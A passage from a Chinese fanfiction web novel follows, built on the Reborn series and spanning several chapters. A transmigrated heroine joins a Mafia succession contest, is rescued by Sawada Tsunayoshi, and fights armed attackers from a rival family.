我看着走到尽头的倒计时,摸着剑的手勾起剑柄,眼睛眨都不眨的捅进线条交汇处的【点】,脖颈上的力道骤然一松。
我恨恨的看着这群人,在心里竖了个中指。
再也不见!
可直到我再次落到地上,鼻腔中呼吸的仍然是混杂着烟尘硝烟与血腥的空气,那些人被我激怒,朝我举起了枪口。
然后我看见了。
——从未见过的火焰。
愤怒燃烧着的橙色火焰,将所有黑衣人吞没,然后奇迹般的从底部开始冻结。
我缓缓闭上了眼睛。
黑色皮鞋踩在遍布砂砾的地面发出咯吱的脆响,玫瑰与铃兰的香气将我笼罩,一只包裹着白色手套的修长大手朝我伸来。
第99章
巴洛克风格的房间里空荡荡的,只余下一张胡桃木四柱床放在花纹繁复的暖黄地毯中央,厚重的天鹅绒床帘将自然光线遮挡得严严实实。
室内所有光源都来自布满浮雕的穹顶中央垂落的竖井吊灯。
多层次的光线通过水晶饰品的折射,让房间显得不那么空旷清冷。
我盯着风格华丽的天花板和吊灯以及与之相比有些说不出不协调的房间发了一会儿呆,身上特别是肩膀传来的钝痛让我不太想动。
从胃部升腾的饥饿感让我不得不从床上坐起来,赤裸的双脚落在地上,柔软的地毯将双足柔柔的包裹,从触感和样式来看定然价格不菲,只不过角落的不明显的灼烧痕迹破坏了它的美感。
丝绸质地的睡裙随着起身的动作滑落,尾端的蕾丝花边在小腿中部晃荡。
我走出一步的动作一顿,低头看向自己。
墨绿色的丝绸睡裙还带着刚从床上下来的褶皱,吊带收腰的样式,露出苍白的手臂锁骨以及从小臂盘旋着向上的墨色纹身。
这是什么?
我不自觉摸了摸肩头,被荆棘缠绕裹挟着的尖牙随着我的动作微微下陷。
这是……
蛇、玫瑰和荆棘。
我记得昏迷之前身上应该是没有这种东西的吧? !
“咔嚓。”
顶端做成曲面的卧室门被人小心翼翼的打开,那人穿着一身简单的淑女长裙,端着托盘轻巧的走进来,看到站在房间中央的人时还愣了一下。
我透过打开的门看到外面点着烛台的走廊,以及地面铺陈着的暗色地毯。
我后知后觉的想到那只朝我伸来的手,终于有了仍然还在任务世界的真实感。
这样想着我看向那人,朝她伸出胳膊,疑惑:“这是什么?”
下一秒我听到她近乎尖叫的声线:“大小姐您醒了!等等, 您是不记得了吗?医生!医生快来啊!”
我面无表情的收回手, 按了按嗡嗡作响的耳朵,上前一步按住她颤抖的手, 不动声色的接过托盘, 被培根蛋酱意面的香气弄得肚子又叫了两声。
“冷静一下,我没事。”
我理了理思绪,将脑海中系统附带的资料迅速翻看,对上女人的脸:“我真的没事,玛莲娜,安娜还好吗?”
玛莲娜经过那场惨烈的战斗后过于脆弱的神经,终于在从小看着长大的小姐冷静的注视下平静下来:“好……我还好,您没事真是太好了。”
她擦了擦泛着晶莹的眼角,捂着胸口喘了口气:“大小姐真是太莽撞了,为了那种东西居然跑到那么危险的地方,多亏了彭格列的人帮了忙。”
“彭格列?蛤蜊?”
我忽然联想到那天在烟尘与鲜血当中朝我伸出手的男人。
我第一次对任务之外的东西感到好奇:“你知道是谁救了我吗?”
玛莲娜忽然惊叫一声:“啊,我忽然想起来了,查尔斯让我问问你的情况,可以的话就去一趟他那里。”
我还没来及说话手里就被塞了一条外出的裙子。
她手脚麻利的给我洗漱擦脸,又在我脸上擦了一层润肤霜,在她拿着粉盒凑近的时候,我猛然从一连串丝滑的流程中惊醒,提着裙摆的凑到刚刚她带来的托盘面前塞了一大口意面。
我含含糊糊的说:“那个就不用了,我垫垫肚子就过去。”
玛莲娜露出不赞同的眼神:“身为索恩的大小姐,不论何时您都要维持体面,向同盟和其他家族展示索恩的高贵和从容,不要这样粗鲁大小姐!”
我在她越来越急促的声线中吃完了一盘意面,如果不是时间不够我还能再吃一份,遗憾的摸了摸隐约感到束缚的小腹。
我向外走去,站在走廊的烛火当中,回头看焦急的玛莲娜:“带我去找查尔斯吧。”
玛莲娜愣了愣。
我打量着墙壁上落灰的烛台:“现在已经不同了玛莲娜。”
她站在勉强收拾出来粉饰一切的房间里,看着决然离去的大小姐,心中忧虑又压抑,却忽的想到这几天家族内的传闻。
大小姐展现出了足以驱动基石的能力。
她是索恩的下一任boss。
第一次听到的时候玛莲娜只觉得大家也许是过于压抑了,病急乱投医将家族复兴的希望竟然放到从未接触过家族事务的大小姐身上。
她同时也在心中下定决心一定要保护好大小姐。
却没想到这一次,被保护在身后的是她自己。
温热的水珠落在烧灼后的地毯上,又马上消失无踪,玛莲娜脸上出现担忧与骄傲混杂的复杂情绪。
我穿过走廊想让人带我去找查尔斯,穿过走廊没走几步,我若有所觉的看向窗外。
熟悉的破败的景色当中被清理出了一条路。
漆黑的车辆无声的驶离,负责继续清理道路,重建驻地的家族成员在那辆车经过的时候都动作一致的停下动作,恭敬又恐惧的注视着车辆。
靠近右侧车窗的是一个男性模糊的侧影,我眯了眯眼睛莫名觉得有几分眼熟,下一秒黑影动了动,一道视线敏锐的落在我身上。
起初带着锐利的审视,然后又迅速化为极富包容性的平和。
那一定是个大人物。
“大小姐?”
那辆车已经彻底驶离驻地,我在心里叹了口气,刚进入这里就碰上这样复杂的状况,也不知道攻略对象沢田纲吉在哪儿。
系统对任务目标信息搜集是不是越来越敷衍了?
我随手又给主系统扔了一封投诉信,转身看向穿着衬衫和西裤的中年男人,他身量很高身材异常壮硕,我向后退了一步才能不仰头。
查尔斯激动期待的心情在她后退时,被一盆冷水浇灭。
他难言失望的看着一如既往穿着华丽且不便行动长裙的大小姐,将情绪压进眼底,该做的事情还是要做。
“你的身体好些了吗?请跟我来。”
他的身形实在是很有辨识度,那天反抗最有利的小队就是查尔斯带队的吧。
我看着他的背影,加快脚步跟了上去:“您看起来恢复的也不错,真是太好了,对了,您叫我过来是有什么事?”
查尔斯停在一道金属门外,闻言眼神有些复杂,看向她的眼神不免有些怜爱:“今天彭格列的boss来过了,他们愿意承认索恩持有七三之外的那枚戒指。”
“只不过作为意大利最强大的Mafia,他们需要在我们重建后再评估是否接受我们的依附。”
他将手掌贴上门边的黑匣子,和建筑风格迥异的金属门向两边打开,露出其中空旷的空间以及等候在其中的青年。
我理解的点点头,那辆车里的就是彭格列的人?
虽然不太明白彭格列和索恩在意大利Mafia中的具体地位,但显然对于已经处于生死存亡之际的索恩来说彭格列的支持就是救命稻草。
话说回来,竟然是boss亲自来的吗?
毕竟是Mafia,率先排除彭格列做慈善的选项,那应该就是巧合了。
查尔斯:“米瑟尔你来了。”
他接着对我说:“在这场残酷的抗争当中,您的父亲我们的boss丧命于此,因此需要从你和你弟弟中选出新的继承人。”
“成为三代目。”
三代目?
我后知后觉的想起,啊,我们也是Mafia,而且家族历史不太悠长的样子。
查尔斯从桌上拿起一个长匣子,打开露出其中格外眼熟的蓝宝石戒指以及华丽的细剑:“家族的继承者将会拿到这两样索恩世代传承的信物。”
我看着它们,原来被拿到这里来了啊。
名为米瑟尔的黑发青年冷冷地说:“能不能不要废话了查尔斯,我们都知道今天的测试只是走个流程。”
他顿了顿,唇角轻蔑的勾起:“还是说查尔斯你信了那些莫名其妙的传言?”
“你相信没有两样的东西,她能使用所谓的能力吗?”
那不过是索恩为了加深家族底蕴编纂出来的传说而已,什么直视生死之瞳才能点燃希望之焰!
全都是屁话!
没有死气之炎怎么可能做到那种事!
而和从小被娇养长大的姐姐不同,他流落在外时已经学会了如何点燃火焰的方法,只有他才能坐上首领的位置。
米瑟尔看向他同父异母的姐姐,勾唇道:“以格斗的方式对姐姐来说并不公平。”
“我们来换一个更加公平的方法吧。”
查尔斯紧皱的眉头松了松,米瑟尔对大小姐果然还是有感情的,如果成为首领后能依照承诺继续照顾大小姐,他就没什么好担心的了。
我:“……”
我将两人的神色看在眼里,无言片刻。
查尔斯你这么大一只,看起来凶恶得很,竟然这么纯良,就这么信了这家伙的鬼话? !
这和我想象中的Mafia不太一样。
我虽然也没有当boss的野心,但看着被珍惜的放在匣子里的戒指和剑,莫名觉得这首领可能是自己的囊中之物的样子。
戒指上的蓝宝石在我的注视下闪过冷冽的光泽。
米瑟尔身形高大,带着久经训练的干练,确实比还穿着柔软束腰长裙,皮肤柔软苍白的大小姐看起来更能胜任首领一职。
家族中大部分人都支持米瑟尔接任。
但查尔斯仍然坚持保留大小姐竞争的权利,只是……
他在心中叹了口气,表情上没有任何偏向性的说:“你的要求我收到了,那么继承人的抉择由武斗改为点燃这枚戒指。”
他从匣子里取出命名为索恩的指环放在手心。
“点燃戒指,然后拿起这柄剑,得到承认的人将得到索恩的一切。”
第100章
我木着脸站在陌生的街道上,看着视线尽头的尖顶建筑,以及周围来来往往高鼻深目的外国人,内心犹豫且无语。
本以为测试就是接过戒指尝试着点燃这两个步骤。
结果查尔斯一本正经的将我想象中简单的环节,硬生生扩容成回合制跑图任务,那个装着继承者象征物品的匣子就放在那间教堂……的最顶端。
从索恩庄园出发谁能最先抵达庄园找到戒指并且点燃, 就能成为索恩家族的继任者。
PS:不限手段。
……虽然这个家族也差不多在名存实亡的边缘了。
我活动了一下脚踝,棕色的尖头皮鞋和砖石地面碰撞发出清脆的声音,喃喃道:“难怪出发前查尔斯看我的眼神那么奇怪。”
我眯着眼睛看向视线尽头的建筑。
有句话叫看山跑死马。
我估计着靠着我这双腿走过去,恐怕天都要暗下来了,别说米瑟尔能不能点燃戒指,这么长时间足够他做很多事。
而当上首领这件事,两人竞争已经是最光明正大的一种了。
我摸了摸裙子的口袋,只能摸到裙子下面的大腿, 打车也pass。
那就只好……
我转身看向和教堂相反方向的窄巷,穿过巷子是一家紧贴着树林的马车行,从刚才开始那边就不太平静。
什么东西炸响的烟尘伴随着喊叫隐隐约约传过来,路上行人纷纷加快了脚步。
甚至在经过带着蛇与荆棘纹样的店铺时,还嘟嘟囔囔的骂上一句:“索恩家不行就赶紧把地方让出去,现在真是什么人都能到地盘上撒野!乌烟瘴气的。”
我-索恩家的大小姐:“……”
路过被骂。
不过也算不上无辜就是了, 以教堂为出发点的几个街区都是索恩家的势力范围, 家族会合理的收取保护费, 同时也有维护地盘治安的责任。
森林边缘的烟尘逐渐消散,现在不是想这些的时候,我连忙提着裙摆逆着人流朝那边奔去。
披着黑色风衣的男人站在混乱的人群中央,纤尘不染的皮鞋踏着脚下挣扎不已的身躯,棕色的瞳孔冷静深邃的看向外围的成员。
他按住耳麦,长腿微曲轻轻一踢,将脚下陷入昏迷的叛徒清向一旁。
清浅平稳的呼吸透过耳麦。
那边的侦查人员习以为常,boss战斗与日常生活的反差,只要在彭格列干得久点的都知道。
他看了眼带着他的师傅立即汇报情况:“南边派出的小队已经在收尾,目前除了正在流窜的反叛者头目,其余同党已经全部捕捉。”
男人按着耳麦的手微微松开,若有所觉的看向被封锁的小巷。
侦查人员急促的声音同时响起:“boss西南方向五十米处,检测到死气之炎波动,看来头目还没有离开……有无关人员进入封锁范围!”
侦查人员拿着望远镜埋伏在制高点,看着那名逐渐靠近反叛者头目的无辜少女瞳孔放大,咬牙:“可恶,他不在我的射程内!”
少女已经和反叛者之间相差不到五米。
那可是走投无路穷凶极恶的Mafia杀手!
他闭了闭眼睛,已经不是责怪清场人员或者擅自靠近危险区域少女的时候了,离得最近的彭格列成员也在五十米开外……
想要救下她,必须要是守护者那种级别的实力才行啊。
侦查人员选择加入彭格列的那天起就知道迟早会遇见这些,但不代表看到有人无辜丧命会无动于衷。
带着他的老师傅叼着根烟,单手拿着望远镜观察那名少女,随手拍了拍他的肩膀。
“啧,放松点。”
侦查人员喉头一哽,忍住辩驳的冲动,怎么可能放松!
老师傅眼里全是老油条的从容:“还不是丧气的时候,我们的boss可还在啊。”
那可是带领所有人打败密鲁菲奥雷,重新带领彭格列走向巅峰的首领。
侦查人员一怔,耳麦里同时传来首领冷静到缺乏情绪的沉稳声线。
“我知道了。”
知……知道了?
他脑子里还没转过弯,还未移开的视野当中陡然被橙红色的火焰充斥,几乎是话音还未落下,不甚明亮的巷子里就多了一道熟悉的身影。
想要找人帮忙的我刚进入巷子就察觉到不对劲,太安静了,一个人都没有。
就连马车行的老板都消失无踪,馬廄里的马匹互相挤压着瑟缩在角落。
我不动声色的往前走,转动雾蓝色的瞳孔瞥过不远处胡乱堆积的杂物,袖子里是随手从头上拔下的金属发饰。
“啪嗒啪嗒啪嗒。”
皮鞋落地的声音不紧不慢的在巷子里回荡,质地优良的裙摆随着走动,擦着纤细匀称的小腿晃动。
我保持着均匀的呼吸静静等待。
那人隐匿的很好,看来必须要用眼睛“看”到才能找到那些线。
彭格列的反叛者头目尼森轻车熟路的隐匿在黑暗中,黏腻的视线划过少女苍白柔软的脸,淡红的唇瓣以及包裹在优雅长裙下纤细的身体。
他舔了舔唇,肌肉虬结的身体再一次紧绷着蓄势待发,眼里是不顾一切的疯狂:“甜美的点心,在杀死彭格列之前用你祭刀是上好的选择哼哼。”
裙下若隐若现的纤细的仿佛能一撇就断的小腿落下。
踩在与杂物平齐的第一块地砖。
与此同时巷子里凝固的空气陡然从三个方向开始迅速流动!
我微微睁大眼睛迅速后退避开突然从狭窄的阴影当中蹦出的彪形大汉,扶墙矮身,听到长刀锵的一声砸在头顶墙壁的声音。
我没有抬头,金属发饰在我手中飞快转动一圈,蓦然朝清晰得不能再清晰的死线划去。
面容平静到冷酷。
去死吧。
我内心平静的等待着熟悉的奇异手感,内心毫无波动,仿佛这个动作做过千百次一样。
“诶?”
挥动的手落空,身体一轻视线飞快上移,腿弯和背部被人轻巧的隔着衣物搂住,我警惕的抬眼对上一双冷静的眸子。
比起男人俊秀成熟的脸更吸引我的是他额头上燃烧着的随风摇晃的橙色火焰。
我不自觉伸手试图触碰那簇看起来灼热又温柔的橙色。
双脚却忽然落在地上。
忽然冒出来救下我的男人不动声色的避开我的手,关心的看着我:“又见面了黑川小姐,独身出现在僻静的小巷很危险。”
我好奇的看着火焰消失后他空荡荡的额头,袭击我的大汉已经被训练有素的黑衣人带走:“你认识我?”
熄灭了火焰,他整个人都多了几分温润的气质,浅笑着朝我伸手:“我是沢田纲吉,那天路过索恩庄园单方面见过小姐。”
我看着他的笑容,心里一松,总觉得他身上有种格外令人安心的气质。
而且他是沢田纲吉!
那天还救过我。
我和他褪去手套的手指握了握,同时注意到了他手上格外眼熟的戒指,同样重工的宽戒设计,以及风格相似的宝石。
“……和索恩指环很像。”
他疑惑:“你说什么?”
我摇摇头,笑着说明来意。
沢田纲吉若有所思片刻,带着指环的手指摸了摸下巴:“啊这样吧,我正好对未来盟友的发展很感兴趣,不介意的话请让我也去看看吧。”
“作为交换我用最快的速度送你去教堂怎么样?”
我原本只是向来看看这里是不是索恩家的人,顺便让他们帮忙给我租一匹马,而且这种场景让其他家族看去也不太好吧?
我摇摇头,但现在已经耽误很长时间了,而沢田纲吉似乎会飞。
……但是让米瑟尔继承家族真的好吗?
我忽然想到安娜玛莲娜和查尔斯暗含期待的眼神,拒绝的话忽然卡住,踌躇的与他对视,缓缓伸出手。
“如果您可以不让别人发现的话。”
还带着暖意的风衣落在我的肩头,下一刻我再次被带着飞了起来,脚下的建筑飞速远去看,余光中离小巷不远的森林中似乎有什么人在动作。
我侧了侧脸,脸侧的胸膛忽然微微震动。
沢田纲吉闲聊般提起:“黑川小姐是为什么想要成为索恩家族的首领呢?还是说只是因为拥有继承权而被动参与?”
这算是考察盟友吗?
我总觉得他说后半句的时候眼神似乎闪过复杂的神色。
我逐渐习惯了被带着飞在空中的感觉,沢田纲吉飞得非常稳,就连冷风都被隔绝在风衣之外,忍不住悠闲的晃了晃小腿。
“虽然想说些好听的话,不过事实就是只是因为我是父亲唯二的孩子而已,说实话我对Mafia的存在家族的生意之类的一窍不通啊。”
我看着越来越近的教堂,也许是他身上的气质温和可靠,我不自觉仰头望着他问道:“虽然放心不下,但家族落在我手里真的好吗?”
“我完全没有自信能将陷入危机的家族撑起来啊,到时候大家会不会说如果当时是我弟弟继位就好了。”
视线当中利落的下颌线很帅气但也丝毫没有回答的意思。
我有些不好意思的垂眸,不自觉抓住手中的一小块布料:“抱歉擅自说了丧气的话。”
沢田纲吉带着我落在教堂后的花园里,先动手整理了一下我肩膀上快要滑落的风衣,棕色的瞳孔带着吸引人的暖融融的温度。
“这种事情不去做的话是不会知道的吧,比起担忧自己,你更担忧的是大家的情绪吗?”
真是个好孩子。
我疑惑的拢着垂到小腿的风衣。
他背着光低头看着我,阳光在他身周镶上一圈光芒,那张脸上的表情有些模糊,只有那双矛盾的融合着威严与柔和的眼睛平静的看着我,又像是透过我看到了其他的什么。
被风吹散的黑发被他轻轻压住。
“对我来说首领就是为了保护大家而存在的,如果黑川小姐有想要保护的人,记住那一刻内心的想法。”
他说:“不论最终结果如何,被保护的人也会如同水流一般将你拥簇。”
“何况我总觉得黑川小姐说不定会做得很好呢。”
我被头上的力道压低脑袋,脑海中不自觉闪过安娜充满希望的小脸,玛莲娜期待又担忧的眼神,以及查尔斯眼瞳深处沉重的希冀。
我可以做好吗?
我吸了吸鼻子,心里被暖流冲刷,忍不住握住他想要撤离的手腕,诚挚的说:“您真是个好人。”
沢田纲吉哑然失笑:“不,你……”
我握着他的手,望向他的眼睛,认真道:“拜托了,请和我结婚!”
他说的不错,给了我尝试的勇气,不过……另一方面来看能和这样各个方面都很好的人生活在一起会很开心吧。
[两手都要抓,两手都要硬.jpg]
“诶?!”
沢田纲吉脸上成熟稳重的微笑顿住。
“啪嗒!”
我们身后不远处传来重物落地的声音,紧接着是米瑟尔狰狞的脸:“黑川一你这个卑鄙的家伙!居然为了争取彭格列的支持,走这种歪门邪道!”
不知何时出现的查尔斯也冲了过来,提溜着我的肩膀把我放到身后,如临大敌的看着沢田纲吉。
“大小姐你还小,不要轻易被外面奇怪的男人蛊惑!”【你现在阅读的是 】
100-110
第101章
“泽田先生这种时候怎么会和大小姐在一起?”
面对身高接近两米肌肉壮汉的质问,沢田纲吉看向从查尔斯身后悄悄露出半个脑袋的黑川一,解释的话在那双盛着期待的雾蒙蓝眸中被吞下,无奈的看了她一眼。
在他眼中已经成年的索恩家的大小姐,继承人之一, 似乎只是一个懵懂的孩子。
他慢条斯理的重新戴上手套, 俊秀的脸上是历经岁月带来的从容优雅:“只是恰好路过, 您不必太紧张,黑川小姐只是开玩笑而已。”
沢田纲吉的笑容带着令人放松的魔力。
查尔斯眼神中的警惕逐渐褪去, 看他的眼神多了几分歉意。
说的也是。
这位可是那个彭格列的首领,怎么可能随随便便就和索恩的继承者之一在一起。
查尔斯松了口气道歉后,准备带着身后不省心的两个孩子离开。
我被查尔斯高大的身形拦在身后,肩膀也被米瑟尔不动声色的压住,挣扎了半晌也没能重新和的沢田纲吉说上话,郁闷的瞪了米瑟尔一眼。
不出意外换来凶狠的一瞥。
“别以为我不知道你的小把戏,就算是彭格列也不能随便插手索恩的家族事务!”
米瑟尔凑到我耳边, 压低声音。
我沉思疑惑茫然最终恍然大悟:“居然还能这样?!”
米瑟尔胸膛起伏, 觉得这个家伙绝对是故意的:“你!”
肩膀上钳制的手倏然加重,我猝不及防嘶了一声,想甩开他的手,却听到米瑟尔又说:“不过我已经拿到东西了,你这废物就只用仰望着我被保护在家族里就好了。”
我被迫在他加重的力道下贴上他的胸膛,气得我顾不上还有人在场,抿唇不爽的用手肘捅他的肋骨,威胁:“谁要被你保护啊,恶不恶心,和你很熟吗靠这么近!松手!”
“嘶!真不听话……”
米瑟尔吃痛忍耐的语气忽然顿住,刻意压低的窃窃私语重新变得张扬又正经:“沢田先生。”
我终于从米瑟尔手下挣扎出来,面不改色的踩过他的脚,在他变得难看的脸色下抬头,与正好低头看过来的沢田纲吉对视。
那双棕色的眼瞳仍然包容又漂亮,但他似乎提前预料到我想说什么,带上了几分不赞同。
沢田纲吉隔着手套轻轻拍了拍我的发顶,是真的很轻,我差点都没感觉到头顶的力道。
“很高兴今天能遇到你,相信很快我们还会见面,黑川小姐。”
我视线落在他胸口别着的徽章上,顺着他的意思点点头,心情却不怎么美妙,沢田纲吉看起来很好相处人也很好,但我总觉得他似乎没有把我当做成年女性看待。
……不说攻略了,那到底要怎么完成前置任务啊? !
沢田纲吉扫过街道上无声出现的黑色车辆,唇角拉平,朝他靠近黑川后就一直警惕的看着他的查尔斯点点头。
“那么我先走了。”
“等等。”
查尔斯和米瑟尔刚吐出的气息忽的又梗在胸膛。
我忽然想到什么,手疾眼快拽住了沢田纲吉的衣摆,期待的问道:“我可以和沢田先生交换联系方式吗?”
“为了感谢您今天救了我,我会想办法报答你的!”
我注视着沢田纲吉的眼睛,心中忐忑。
在口袋摸了个空的手指一僵。
我不再看沉默着拒绝的沢田纲吉,垂头丧气的松开拽着他衣摆的手,有气无力的说:“啊,忘记身上什么都没带了。”
查尔斯从大小姐大胆的动作中回过神,不动声色走过来站在两人中间,将他们隔开:“抱歉了泽田先生,我们大小姐没有别的意思,您先请。”
我站在查尔斯身后,垂着脑袋在心里反驳:我可太有意思了,如果沢田先生愿意我能原地求婚。
空气中似乎飘过一缕轻笑。
“是我忘记了。”
一个眼熟的雕刻着枪盾牌以及贝壳的徽章被一只手托着递到我面前。
我心里的嘀嘀咕咕顿时停住,茫然抬头对上沢田纲吉带着笑意的眼神。
“作为第一次见面的礼物吧。”
我握着那枚徽章,视线落在他空荡荡的胸口,张了张口还没来得及说什么他就已经转身离开,不出几息那辆不知何时出现的车就消失在视野。
“见面礼?”
我捏着的徽章放到眼前查看,似乎是特意为了标识某种特殊的身份,这枚看不出用什么金属打造的徽章沉甸甸样式精巧复杂,就算是单纯欣赏它的图案也能称得上一句漂亮。
唔,作为第一……第二次见面的结果来说,应该还算不赖吧?
我把徽章顺手揣进外套口袋,才后知后觉的意识到身上还披着沢田先生的风衣,我摸着手下的布料眯了眯眼睛。
下一次见面就用这个……
米瑟尔愠怒的面容出现在眼前,他伸手朝我的衣领抓来,被我早有预料的撤步躲开,大声吼道:“你居然攀上了他!!如果你想用这种方式来竞争首领的位置的话,我瞧不起你黑川一!”
查尔斯头痛的转身,沉声:“米瑟尔不要随意对你的姐姐大吼大叫!你的教养呢!”
他紧接着用那双身经百战的锐利双眸看向我,表情变了变,最终还是叹息一声柔和下来:“大小姐,那位不是我们家族能肖想的人物,除了他之外,西西里其他家族的适龄男性我都可以为你争取。”
我揣着口袋,不自觉捏紧那枚徽章的手指微微松开,紧扣掌心的不规则金属移开扣,掌心泛起一丝丝细微的痛痒。
我白了米瑟尔一眼。
在他再次暴躁起来的声线中,我向查尔斯解释了前因后果。
“查尔斯叔叔,沢田先生是什么人呀?”
总觉得身份不太一般。
想到在他在小巷中点燃的奇异的暖黄色火焰,我摸了摸徽章凹凸不平的表面,拥有那种实力是大家族的干部吗?
查尔斯顿了顿,面色复杂的看了我一眼:“你不知道?”
我:“……我该知道吗?”
被忽视在一旁的米瑟尔咂了咂舌,不耐烦的从背上取下盒子:“别管那些无关紧要的,到最后一步了吧查尔斯。”
查尔斯和我一同看向被打开的匣子。
他看着米瑟尔桀骜的面孔隐隐叹息:“是的,是的。是米瑟尔向率先拿到了东西,现在请你点燃索恩指环,然后握上独属于索恩指环拥有者的剑。”
我看着匣子里的东西,忽然蹙了蹙眉:“提前取到匣子就是胜者吗?”
米瑟尔套上指环发出一声明显的哼笑。
查尔斯有些意外的看了我一眼,解释道:“事实上,索恩家已经很久没有人能点燃这枚指环了,上一个能够使用它的还是你的祖父,他带领索恩从三流家族迅速崛起,在西西里占据一席之地。”
“但就算是你的祖父也不能自如的使用那把剑。”
“直视生死之瞳才能点燃希望之焰。”
我眨了眨眼。
听查尔斯继续说:“但没人知道那是什么,而米瑟尔曾经在五岁的时候点燃过它。”
原来如此。
我点点头,而米瑟尔也在凝视了一会儿指环后,成功让它燃起了火焰。
那是一簇十分细小微弱的火苗,并且整体呈透明质地,给人的感觉却十分灼热而狂躁……和我想象中不同但意外的符合米瑟尔的个性。
火焰会根据使用者变换属性吗?
沢田先生的火焰如同温暖又富有生机,还会在额头上燃起暖融融的一大捧,火焰像暖橙色的棉花糖让我有想要靠近触摸拥抱的冲动。
而米瑟尔的……
我轻轻别开眼睛。
米瑟尔高傲的表情顿时一垮:“你这表情是怎么回事啊,别以为你侧身我就看不到了,你这家伙就嫉妒吧!”
“不管怎么说我都是胜者!软趴趴的家伙给我老老实实待在庄园里当你的大小姐啊!”
我揣着兜头也不回的往外走,随口道:“好好好,你赢了。”
我往外走了一段距离,倏地背对着他们的表情垮了下来,叹了口气:“出门之前还和玛莲娜说大话,结果还是要让她失望了。”
不过玛莲娜会高兴也说不定。
毕竟我做不了“危险的事情”了。
我站在花坛边等那两人过来。
从这里走回去实在太远了,这双皮鞋绝对会让我的脚好看。
我有一搭没一搭的踢着地上的小石子,在没人看见的地方,还是有些不甘心的抿唇,一脚把小石子踹走。
可恶,早知道会这么不甘心,在开始之前就多做点准备了。
砖石地面上的阳光逐渐被向云层遮盖,我拉了拉风衣,老老实实把手臂伸进袖子里,往后看。
有点冷,他们怎么还没来。
“轰——”
几乎是在我转身的瞬间,作为标志性建筑物的教堂屋顶轰然炸开,尖叫与碎石不断落地的声音让我猛然吸了口气。
那边还有普通人!
我抬头看向天空,穿着奇怪装置的队伍脚下燃着火焰几乎将这条街道的上空占满,他们举起手中燃着各种颜色火焰的炮筒对周围进行无差别的轰炸。
近乎是转瞬间,原本让我欣赏惊叹的异国风情的街道变成了一地充满尖叫和哭泣的废墟。
我面无表情的站在原地,垂下的手微微颤抖。
原来清冷的街区里竟然还有这么多人啊。
我把险些被碎石砸到的女人扯到身后,不顾四处飞溅的碎石,深吸一口气大声喊道:“往索恩状元跑!各位去索恩庄园避难!”
被我挡在身后的女人捂着唇大眼睛里满是恐惧:“可是索恩不会让我们进去的。”
“会的。”
我飞快把裙子上有家族标记的地方撕下来,想了想,又把沢田先生留下的徽章塞进她手里,眼睛紧跟着上空的机械武装部队移动。
“你们拿着这个他们会放你们进去。”
我用力推了推凑过来的人,转身朝相反的方向奔去。
“等等!你不和我们一起去吗?……你是索恩的大小姐吧?”
我扶住匆忙逃出的老人,随手从碎石中捡起一根铁管,让他们互相扶持着从已经坍塌的房子旁边撤离,头也不回道:“我来拦住他们。”
我看着不远处石块下的鲜血,心中的情绪无处宣泄,面容却一反常态的冰冷。
“这是索恩的事务。”
靠近教堂的位置已经爆发出交战的声响,剩下的一小半敌人已经锁定了我的位置,朝这边飞来。
我在街道上飞奔起来,长发被杂乱的气流吹得狂舞,视线紧盯最先靠近的敌人,在他轻蔑的表情中挥舞铁棍。
下一秒温热的液体飞溅到脸上。
我朝和索恩庄园相反的方向引着人离开:“果然和我想的一样,他们盯上的是整个索恩。”
众所周知,索恩家只有两名继承人。
一条街区外平稳驶离的车辆停下,车窗下移,那人看着手中平板上的画面,在那道纤细的身影将一半敌人引走的时候,起身的动作顿了一下,又重新坐了回去。
他说:“让他们以最快的速度撤离民众。”
负责开车的下属侧目:“是,boss。”
犹豫了一会儿,他又说:“让伊利亚占据索恩的地盘并不在我们的计划内,boss我们不出手吗?”
后座的男人指尖轻点屏幕上的人影,双腿交叠,眼眸垂落纤长的羽睫挡住神色,只能看到他平直的唇角。
“这是索恩的事务。”
“不要做多余的事。”
下属挺直脊背:“是!”
第102章
原本宁静的街道陷入了另一种热闹当中。
身上包裹着外骨骼持有燃着火焰冲锋枪的黑衣人在空中飞舞,冷色的火焰闪过,街道上就会轰隆隆的炸起烟尘。
普通人的尖叫与哭泣都被这些声音所掩盖。
伊利亚武装部队队长尼达姆阴鸷的目光扫过下方的街区,不出意外的找到了他的目标,脚下的火焰暴涨,他径直带着人朝黑发少女冲了过去。
似乎是察觉到不祥的破空声,黑发少女逆着人流奔跑的动作微顿,然后毫不犹豫的转身,慌不择路的朝一片小胡同奔去。
尼达姆冷笑一声, 同样快速地跟了上去,同时举起枪支对准在战场当中显得格格不入的背影。
透过准镜看清少女装束的尼达姆唇角冷冽的勾起:“让继承人打扮成这样参加试炼,难怪索恩会走到今天,呵呵不过这也是我们的机会。”
“哒哒哒!!!”
燃着火焰的子弹蜂拥着朝那道身影射去,爆出的光芒瞬间淹没了半个巷子。
我闷哼一声被巨大的冲击力推向远处重重的摔在地上, 后背和摩擦过地面的小臂火辣辣的痛,我支撑起身体捡起掉在地上的棍子, 屏息矮身躲在一道被击毁的墙壁后面。
头顶花园迷宫的招牌摇摇欲坠, 发出咯吱咯吱的声音。
还未修建完成的迷宫交错的矮墙被炸开后交错形成更加复杂的障碍,吹飞烟尘悬停在空中的尼达姆阴沉着脸:“你以为这样就能挡住我吗?”
他朝身后做了个手势, 跟来的十几个人齐刷刷的举起武器开始轰炸。
整座迷宫都在这样的强火力下被毁坏, 激起的烟尘也久久不灭。
尼达姆盯着烟尘四起的迷宫,动了动鼻子,咧开嘴角:“这股血腥味让我都有点兴奋了。”
我瞥了眼在不断滴落血珠的肩膀,脱下外套撕下布条,叼着勉强给肩膀系上止血,然后再次不停歇的在烟尘中穿行。
视线落在离地面不远的敌人悄然靠近。
“你如果自己出来的话,我可以考虑让你活下来——只有你,在伊利亚你仍然可以当你的大小姐,怎么样?”
久久不散的烟尘中一丝声音也无。
尼达姆脸上的笑容逐渐扩大,心中最后一丝警惕放下,转身朝部下示意:“你们几个,去把人弄出来。”
不远处矮墙坍塌的阴影中一小团影子动了动,旋即更加悄无声息的将自己隐藏起来,沉默的视线却如同死神的镰刀只徘徊在只有自己能看见的线条上。
那些落下来的寻人的敌人四散开来,我心头鼓动,在其中一人经过自己时,借着他的身形一跃而起从背后扣住他的口鼻,右手的铁棍再次被浇注上温热的液体。
我把人拽到矮墙后,躲在阴影下手里捏着缴获的武器,换了个地方静静的注视着即将转弯发现我的黑影。
同样是扣住口鼻,枪支穿透死线交汇处的点,不出两秒手中挣扎的力道立即消失。
我赞赏的看了眼枪支,背上又背着一把往另一个方向走。
在烟尘散去的几分钟内,深色的长裙上血色一层层交叠,浓重的血腥味让我有点反胃。
